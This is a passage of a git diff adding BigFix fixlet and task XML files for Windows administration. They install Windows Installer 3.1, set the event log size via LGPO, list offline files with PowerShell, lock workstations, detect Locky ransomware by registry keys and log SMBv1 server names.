+    <SourceSeverity>Critical</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Tue, 31 Jan 2012 21:19:33 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 30 Jul 2012 22:05:05 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-domain-attributes</Name>
+      <Value>BES Deploy Server Console</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to install Windows Installer 3.1 on relevant computers.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch WindowsKBforServer.exe sha1:8318455b36ba0a748307459279d46f2f4cdb5a0e size:2585872 http://download.microsoft.com/download/1/4/7/147ded26-931c-4daf-9095-ec7baf996f46/WindowsInstaller-KB893803-v2-x86.exe
+delete __Local/Get/WindowsKBforServer.exe
+move __Download/WindowsKBforServer.exe __Local/Get/WindowsKBforServer.exe
+wait __Local/Get/WindowsKBforServer.exe /passive /quiet /norestart
+delete __Local/Get/WindowsKBforServer.exe
+action may require restart</ActionScript>
+    </DefaultAction>
+    <Action ID="Action289">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> for manual upgrade instructions.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.bigfix.com/bes/install/upgradebes.html</ActionScript>
+    </Action>
+    <Action ID="Action290">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to see the new features in Trend Micro Endpoint Security Platform 8.1.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.bigfix.com/bes/changes/changes-8.1.html</ActionScript>
+    </Action>
+    <Action ID="Action291">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to view the Microsoft Windows Installer 3.1 information page.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/?id=893803</ActionScript>
+    </Action>
+    <Action ID="Action320">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to see the new features in Tivoli Endpoint Manager 8.1.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.bigfix.com/bes/changes/changes-8.1.html</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Known issues for Windows Server and_or Console upgrades - Trend Micro Endpoint Security Platform version 8.1.634.0 (129).bes b/Sites/Windows Management/Fixlets/Fixlets/Known issues for Windows Server and_or Console upgrades - Trend Micro Endpoint Security Platform version 8.1.634.0 (129).bes
new file mode 100644
index 000000000..bbd9b4579
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Known issues for Windows Server and_or Console upgrades - Trend Micro Endpoint Security Platform version 8.1.634.0 (129).bes	
@@ -0,0 +1,80 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Known issues for Windows Server and/or Console upgrades - Trend Micro Endpoint Security Platform version 8.1.634.0
+  ID       : 129
+  Author   : besSupport
+  Domain   : BESC
+  Imported : 2012-10-17T13:13:28
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Known issues for Windows Server and/or Console upgrades - Trend Micro Endpoint Security Platform version 8.1.634.0</Title>
+    <Description><![CDATA[
+<TABLE><TBODY><TR><TD><P><STRONG>Version&nbsp;8.1.634.0 of Trend Micro Endpoint Security Platform is now available!</STRONG></P> <P>The latest version of Trend Micro Endpoint Security Platform provides several enhancements and fixes. Click on the link below for more information on changes in Trend Micro Endpoint Security Platform 8.1.</P> <P>Windows Installer 3.1 or greater must be installed to perform this upgrade. Use the action below to install Windows Installer 3.1. Once this is complete, you can use <?Relevance link of fixlet whose (name of it contains "Updated Windows Server and/or Console - Trend Micro Endpoint Security Platform version 8.1.634.0") of site of current fixlet?>to upgrade Trend Micro Endpoint Security Platform Servers and Consoles to version 8.1.634.0.</P> <P><STRONG>Note:</STRONG> Affected computers may report back as 'Pending Restart' once the patch has run successfully, but the vulnerability will not be closed until the affected computer is restarted.</P> <P>If you have any issues during the upgrade, you may want to review the manual upgrade instructions below to help resolve the issues.</P></TD></TR></TBODY></TABLE>
+]]></Description>
+    <Relevance>name of operating system as lowercase starts with &quot;win&quot;</Relevance>
+    <Relevance><![CDATA[((it = "Win7" OR it = "Win2008R2" OR it = "Win2008" OR it = "WinVista") of name of it OR ((name of it = "Win2003" AND service pack major version of it >= 1) OR ((it = "WinXP" OR it = "WinXP-2003") of name of it AND service pack major version of it >= 2))) of operating system]]></Relevance>
+    <Relevance>if (exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\Brand&quot; whose (exists value &quot;value&quot; of it) of registry) then (value &quot;value&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\Brand&quot; of registry as string = &quot;Trend&quot;) else (&quot;Trend&quot;=&quot;BigFix&quot;)</Relevance>
+    <Relevance>evaluation of client license = false</Relevance>
+    <Relevance><![CDATA[(exists service "BESRootServer" AND exists key "HKEY_LOCAL_MACHINE\SOFTWARE\BigFix\Enterprise Server" whose (exists ((value "Version" of it) as string as version) whose (it < "8.1.634.0" AND it >= "7.0.1")) of registry) OR (exists regapp "BESConsole.exe" whose (version of it < "8.1.634.0" AND version of it >= "6"))]]></Relevance>
+    <Relevance><![CDATA[not (exists file "msiexec.exe" whose (version of it >= "3.1") of system folder)]]></Relevance>
+    <Category>Upgrade</Category>
+    <Source>IBM</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-01-31</SourceReleaseDate>
+    <SourceSeverity>Critical</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-first-propagation</Name>
+      <Value>Tue, 31 Jan 2012 21:19:33 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 30 Jul 2012 22:05:05 +0000</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-domain-attributes</Name>
+      <Value>BES Deploy Server Console</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to install Windows Installer 3.1 on relevant computers.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">prefetch WindowsKBforServer.exe sha1:8318455b36ba0a748307459279d46f2f4cdb5a0e size:2585872 http://download.microsoft.com/download/1/4/7/147ded26-931c-4daf-9095-ec7baf996f46/WindowsInstaller-KB893803-v2-x86.exe
+delete __Local/Get/WindowsKBforServer.exe
+move __Download/WindowsKBforServer.exe __Local/Get/WindowsKBforServer.exe
+wait __Local/Get/WindowsKBforServer.exe /passive /quiet /norestart
+delete __Local/Get/WindowsKBforServer.exe
+action may require restart</ActionScript>
+    </DefaultAction>
+    <Action ID="Action289">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> for manual upgrade instructions.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.bigfix.com/bes/install/upgradebes.html</ActionScript>
+    </Action>
+    <Action ID="Action290">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to see the new features in Trend Micro Endpoint Security Platform 8.1.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.bigfix.com/bes/changes/changes-8.1.html</ActionScript>
+    </Action>
+    <Action ID="Action291">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to view the Microsoft Windows Installer 3.1 information page.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://support.microsoft.com/?id=893803</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/LGPOv3.0 Example - Set Security Event Log Max Size to 80 MB via Local Group Policy (26933).bes b/Sites/Windows Management/Fixlets/Fixlets/LGPOv3.0 Example - Set Security Event Log Max Size to 80 MB via Local Group Policy (26933).bes
new file mode 100644
index 000000000..0782cb80d
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/LGPOv3.0 Example - Set Security Event Log Max Size to 80 MB via Local Group Policy (26933).bes	
@@ -0,0 +1,110 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : LGPOv3.0 Example - Set Security Event Log Max Size to 80 MB via Local Group Policy
+  ID       : 26933
+  Author   : JasonWalker
+  Domain   : BESC
+  Imported : 2022-05-23T10:54:40
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>LGPOv3.0 Example - Set Security Event Log Max Size to 80 MB via Local Group Policy</Title>
+    <Description><![CDATA[<P>LGPO v3.0 is described at <A href="https://www.microsoft.com/en-us/download/details.aspx?id=55319">https://www.microsoft.com/en-us/download/details.aspx?id=55319</A>.&nbsp; The utility allows for scripted configuration of Local Group Policy (Computer, User, and MLGPO contexts).&nbsp;&nbsp;</P>
+<P>LGPO can configure Registry policies, apply Secedit templates, and configure Advanced Audit Policies.&nbsp; Existing policy settings can be exported or imported from text.</P>
+<P>This example fixlet demonstrates the use of LGPO by configuring the Security Event Log maximum size to 80 MB.&nbsp; </P>
+<P>The LGPO zip file includes a PDF explaining its use.&nbsp; </P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>if exists property &quot;in proxy agent context&quot; then not in proxy agent context else true</Relevance>
+    <Relevance><![CDATA[/* Apply to Windows 7 or higher only */ version of operating system >= version "6.1"]]></Relevance>
+    <Relevance>/* Sample check to set Security Event Log maximum size to 80 MB */  not exists keys &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Eventlog\Security&quot; whose (value &quot;MaxSize&quot; of it as integer = 81920) of native registry</Relevance>
+    <Category>LGPO Template Policy</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2017-08-17</SourceReleaseDate>
+    <MIMEField>
+      <Name>bigfixme-added-time</Name>
+      <Value>Thu, 17 Aug 2017 14:27:09 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-modification-time</Name>
+      <Value>Thu, 17 Aug 2017 14:27:09 GMT</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-keywords</Name>
+      <Value>Local Group Policy, LGPO, Security, MLGPO, Secedit</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>bigfixme-ID</Name>
+      <Value>24619</Value>
+    </MIMEField>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Mon, 23 May 2022 17:48:53 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// To use this template, update or remove the following blocks and replace the Relevance
+
+// Enter your action script here
+
+begin prefetch block
+
+  add prefetch item name=LGPO.zip sha1=4578a97946102a20505d1e8f09abedd1fd7a8d89 size=531635 url=https://download.microsoft.com/download/8/5/C/85C25433-A1B0-4FFA-9429-7E023E7DA8D8/LGPO.zip sha256=cb7159d134a0a1e7b1ed2ada9a3ce8ce8f4de391d14403d55438af824247cc55
+
+  // Download UnZip utility
+  add prefetch item name=unzip.exe sha1=84debf12767785cd9b43811022407de7413beb6f size=204800 url=http://software.bigfix.com/download/redist/unzip-6.0.exe sha256=2122557d350fd1c59fb0ef32125330bde673e9331eb9371b454c2ad2d82091ac
+
+
+collect prefetch items
+end prefetch block
+
+// Add LGPO.zip to the client utility cache
+utility __Download\LGPO.zip
+
+// Add unzip.exe to the client utility cache
+utility __Download\unzip.exe
+
+waithidden __Download\unzip.exe -o &quot;{pathname of client folder of current site}\__Download\LGPO.zip&quot; -d &quot;{pathname of client folder of current site}\__Download&quot;
+
+
+action uses wow64 redirection false
+
+delete __createfile
+createfile until EOF_EOF_EOF
+; ----------------------------------------------------------------------
+; PARSING COMPUTER POLICY
+; Source file:  \temp\Registry.pol
+
+Computer
+Software\Policies\Microsoft\Windows\Eventlog\Security
+MaxSize
+DWORD:81920
+
+; PARSING COMPLETED.
+; ----------------------------------------------------------------------
+
+EOF_EOF_EOF
+
+delete regpol.txt
+move __createfile regpol.txt
+
+waithidden __Download\LGPO_30\LGPO.exe  /t regpol.txt
+continue if {exit code of action = 0}</ActionScript>
+    </DefaultAction>
+    <Action ID="Action28248">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to review this task in the bigfix.me Content Database.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">https://bigfix.me/cdb/fixlet/24619</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/List Offline Files (PowerShell) (644).bes b/Sites/Windows Management/Fixlets/Fixlets/List Offline Files (PowerShell) (644).bes
new file mode 100644
index 000000000..8c10cacc8
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/List Offline Files (PowerShell) (644).bes	
@@ -0,0 +1,96 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : List Offline Files (PowerShell)
+  ID       : 644
+  Author   : danielheth
+  Domain   : BESC
+  Imported : 2012-10-26T16:07:08
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>List Offline Files (PowerShell)</Title>
+    <Description><![CDATA[<P>List Offline Files</P>
+<P>This is considered a brute force search since it recursively looks at every file.&nbsp;</P>
+<P>Be careful to try and be specific with which folder to start your search.&nbsp; If you start at the "c:\" folder, the scan is likely to take a very long time... and this task waits for that search to complete... thus your client will be stalled until this search is finished.</P>
+<P><STRONG>The results file is saved in the "parent folder of the client" and named "OfflineFiles.csv".</STRONG></P>]]></Description>
+    <Relevance>name of operating system as string contains &quot;Win&quot;</Relevance>
+    <Relevance>exists key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1&quot; whose (value &quot;Install&quot; of it as integer = 1) of registry</Relevance>
+    <Relevance><![CDATA[exists key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\PowerShellEngine" whose (value "PowerShellVersion" of it as string as version >= "2.0") of registry]]></Relevance>
+    <Category>Search</Category>
+    <Source>danielheth@bigfix.me</Source>
+    <SourceID>&lt;Unspecified&gt;</SourceID>
+    <SourceReleaseDate>2012-10-26</SourceReleaseDate>
+    <SourceSeverity>&lt;Unspecified&gt;</SourceSeverity>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Fri, 26 Oct 2012 21:05:37 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click&amp;nbsp; </PreLink>
+        <Link>here </Link>
+        <PostLink>&amp;nbsp;to search for offline folders/files. </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">action parameter query &quot;startDir&quot; with description &quot;Specify the root folder path you want to scan recursively through:&quot; and with default value &quot;c:\users&quot;
+//============================================================================
+//PowerShell Script...
+//
+//1. Save old ExecutionPolicy value
+parameter &quot;PolicyExisted&quot;=&quot;{exists value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry)}&quot;
+parameter &quot;oldExecutionPolicy&quot;=&quot;{if (parameter &quot;PolicyExisted&quot; as boolean) then (value &quot;ExecutionPolicy&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of (if exists x64 registry then x64 registry else registry) as string) else &quot;&quot;}&quot;
+//2. set to ExecutionPolicy=Unrestricted  and Pull PowerShell exe from registry... if 64bit then pull PowerShell x64
+if {x64 of operating system}
+	regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;Unrestricted&quot;
+	parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of x64 registry}&quot;
+else
+	//we need to determine what the current execution policy is so we can put it back when we&apos;re done.
+	regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;Unrestricted&quot;
+	parameter &quot;PowerShellexe&quot;=&quot;{value &quot;Path&quot; of key &quot;HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell&quot; of registry}&quot;
+endif
+//3. Create PowerShell script and save to a ps1 file
+delete __appendfile
+delete script.ps1
+appendfile Get-ChildItem &quot;{parameter &quot;startDir&quot;}&quot; -recurse | Where-Object {$_.Attributes -eq &apos;offline&apos;} | Export-Csv &quot;{pathname of parent folder of client}\OfflineFiles.csv&quot;
+move __appendfile script.ps1
+//4. Execute PowerShell with ps1 script file
+action uses wow64 redirection false
+waithidden &quot;{parameter &quot;PowerShellexe&quot;}&quot; -file &quot;{pathname of client folder of current site}\script.ps1&quot;
+action uses wow64 redirection {x64 of operating system}
+//5. Restore ExecutionPolicy back
+if {x64 of operating system}
+	if {parameter &quot;PolicyExisted&quot; as boolean}
+		regset64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;oldExecutionPolicy&quot;}&quot;
+	else
+		regdelete64 &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;
+	endif
+else
+	if {parameter &quot;PolicyExisted&quot; as boolean}
+		regset &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;=&quot;{parameter &quot;oldExecutionPolicy&quot;}&quot;
+	else
+		regdelete &quot;[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell]&quot; &quot;ExecutionPolicy&quot;
+	endif
+endif
+//============================================================================</ActionScript>
+    </DefaultAction>
+    <Action ID="Action881">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn about Ben Shorehill&apos;s research into the powershell command we&apos;re using.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://www.symantec.com/connect/downloads/csv-report-all-offline-files-powershell</ActionScript>
+    </Action>
+    <Action ID="Action882">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to learn about Microsoft&apos;s Offline Files features.</PostLink>
+      </Description>
+      <ActionScript MIMEType="text/x-uri">http://windows.microsoft.com/en-US/windows-vista/Understanding-offline-files</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Lock Screen - Windows (23995).bes b/Sites/Windows Management/Fixlets/Fixlets/Lock Screen - Windows (23995).bes
new file mode 100644
index 000000000..204b298b8
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Lock Screen - Windows (23995).bes	
@@ -0,0 +1,40 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Lock Screen - Windows
+  ID       : 23995
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-04-05T11:59:15
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Lock Screen - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>exists (current users;logged on users)</Relevance>
+    <Relevance>not exists processes &quot;LogonUI.exe&quot;</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2015-11-05</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 05 Nov 2015 19:36:31 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">
+override wait
+runas=currentuser
+wait rundll32.exe user32.dll,LockWorkStation
+</ActionScript>
+      <SuccessCriteria Option="OriginalRelevance"></SuccessCriteria>
+    </DefaultAction>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Lock computer multiple options (26856).bes b/Sites/Windows Management/Fixlets/Fixlets/Lock computer multiple options (26856).bes
new file mode 100644
index 000000000..820241b89
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Lock computer multiple options (26856).bes	
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Lock computer multiple options
+  ID       : 26856
+  Author   : shlomi
+  Domain   : BESC
+  Imported : 2021-06-10T00:37:10
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Lock computer multiple options</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>true</Relevance>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2021-06-09</SourceReleaseDate>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Thu, 10 Jun 2021 07:30:24 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to lock the computer for 24 hours</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Lock computer for 24 hours
+
+action lock until &quot;{now + (24 * hour)}&quot; &quot;{parameter &quot;action issue date&quot; of action}&quot;</ActionScript>
+    </DefaultAction>
+    <Action ID="Action28137">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to to lock the computer for&amp;nbsp;7 days</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Lock computer for 7 days
+
+action lock until &quot;{now + (7 * day)}&quot; &quot;{parameter &quot;action issue date&quot; of action}&quot;</ActionScript>
+    </Action>
+    <Action ID="Action28138">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to to lock the computer for custom&amp;nbsp; time (in hours)</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Lock computer for custom hours
+action parameter query &quot;_hours_lock&quot; with description &quot;Lock the system for this many hours [hh]&quot;
+
+action lock until &quot;{now + (parameter &quot;_hours_lock&quot; as integer) * hour}&quot; &quot;{parameter &quot;action issue date&quot; of action}&quot; for client</ActionScript>
+    </Action>
+    <Action ID="Action28139">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to lock the computer indefinitely </PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Lock computer indefinitely
+action lock indefinite &quot;{parameter &quot;action issue date&quot; of action}&quot;
+continue if { lock string of action lock state = &quot;Yes&quot; }</ActionScript>
+    </Action>
+  </Task>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Locky malware detection (9275).bes b/Sites/Windows Management/Fixlets/Fixlets/Locky malware detection (9275).bes
new file mode 100644
index 000000000..8aee107b0
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Locky malware detection (9275).bes	
@@ -0,0 +1,41 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Locky malware detection
+  ID       : 9275
+  Author   : jgo
+  Domain   : BESC
+  Imported : 2016-03-11T17:42:50
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Locky malware detection</Title>
+    <Description><![CDATA[<P>This fixlet is for the detection of the locky malware on Windows machines. For more information about locky, click on the links below. </P>
+<P><STRONG>NOTE: detection for logged in user.</STRONG></P>
+<P>Vendor KB on locky - <A href="https://kc.mcafee.com/resources/sites/MCAFEE/content/live/PRODUCT_DOCUMENTATION/26000/PD26383/en_US/McAfee_Labs_Threat_Advisory-Ransomware-Locky.pdf">here</A></P>
+<P>Blog on Locky - <A href="https://nakedsecurity.sophos.com/2016/02/17/locky-ransomware-what-you-need-to-know/">here.</A></P>
+<P>&nbsp;Ransomware called Locky spreads via a malicious macro in a Word document. The malware demands a ransom of half a Bitcoin for the key to unlock the encrypted files. Locky has infected machines in Europe, Russia, Pakistan, Mali, and the US. <BR>-<A href="http://www.theregister.co.uk/2016/02/17/locky_ransomware/"><FONT color=#000080>http://www.theregister.co.uk/2016/02/17/locky_ransomware/</FONT></A><BR>-<A href="http://www.computerworld.com/article/3033941/security/locky-ransomware-which-infects-like-dridex-hits-the-unlucky.html"><FONT color=#000080>http://www.computerworld.com/article/3033941/security/locky-ransomware-which-inf<BR>ects-like-dridex-hits-the-unlucky.html</FONT></A><BR>-<A href="http://arstechnica.com/security/2016/02/locky-crypto-ransomware-rides-in-on-malicious-word-document-macro/"><FONT color=#000080>http://arstechnica.com/security/2016/02/locky-crypto-ransomware-rides-in-on-mali<BR>cious-word-document-macro/</FONT></A><BR>-<A href="http://www.darkreading.com/vulnerabilities---threats/advanced-threats/here-comes-locky-a-brand-new-ransomware-threat/d/d-id/1324371?"><FONT color=#000080>http://www.darkreading.com/vulnerabilities---threats/advanced-threats/here-comes<BR>-locky-a-brand-new-ransomware-threat/d/d-id/1324371?</FONT></A></P>
+<P>note: this fixlet is not tested against locky or&nbsp;variants. mileage may vary. </P>]]></Description>
+    <Relevance>name of operating system contains &quot;Win&quot;</Relevance>
+    <Relevance><![CDATA[exists key  ((user key of current user as string) & "\Software\Locky") of registry or exists value whose (name of it as lowercase = "locky")  of key ((user key of current user as string) & "\Software\Microsoft\Windows\CurrentVersion\Run") of registry]]></Relevance>
+    <Category>Malware Detection</Category>
+    <Source>BigFix.me</Source>
+    <SourceReleaseDate>2016-03-11</SourceReleaseDate>
+    <CVENames>CVE-2016-1716</CVENames>
+    <MIMEField>
+      <Name>x-fixlet-modification-time</Name>
+      <Value>Sat, 12 Mar 2016 00:42:14 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <Action ID="Action9999">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell">// Enter your action script here</ActionScript>
+    </Action>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Log Unique SMBv1 Connection Server Names - Windows (23554).bes b/Sites/Windows Management/Fixlets/Fixlets/Log Unique SMBv1 Connection Server Names - Windows (23554).bes
new file mode 100644
index 000000000..6172bc379
--- /dev/null
+++ b/Sites/Windows Management/Fixlets/Fixlets/Log Unique SMBv1 Connection Server Names - Windows (23554).bes	
@@ -0,0 +1,51 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Task Export
+
+  Title    : Log Unique SMBv1 Connection Server Names - Windows
+  ID       : 23554
+  Author   : jgstew
+  Domain   : BESC
+  Imported : 2017-02-24T11:23:46
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Task>
+    <Title>Log Unique SMBv1 Connection Server Names - Windows</Title>
+    <Description><![CDATA[&lt;enter a description of the task here&gt; ]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance><![CDATA[exists items 0 of (it, (set of unique values whose(it != "") of (it as trimmed string) of lines of files "results_SMBv1_ServerNames.log" of folders "Logs" of folders "__Global" of data folders of clients) | (set of "") ) whose(item 0 of it is not contained by item 1 of it) of (unique values of (it as trimmed string as lowercase) of string values of properties "ServerName" of select objects "Dialect,ServerName from MSFT_SmbConnection" whose ((string value of property "dialect" of it) as version < "2.0") of wmis "Root\Microsoft\Windows\SMB")]]></Relevance>
+    <Source>Internal</Source>
+    <SourceID>jgstew</SourceID>
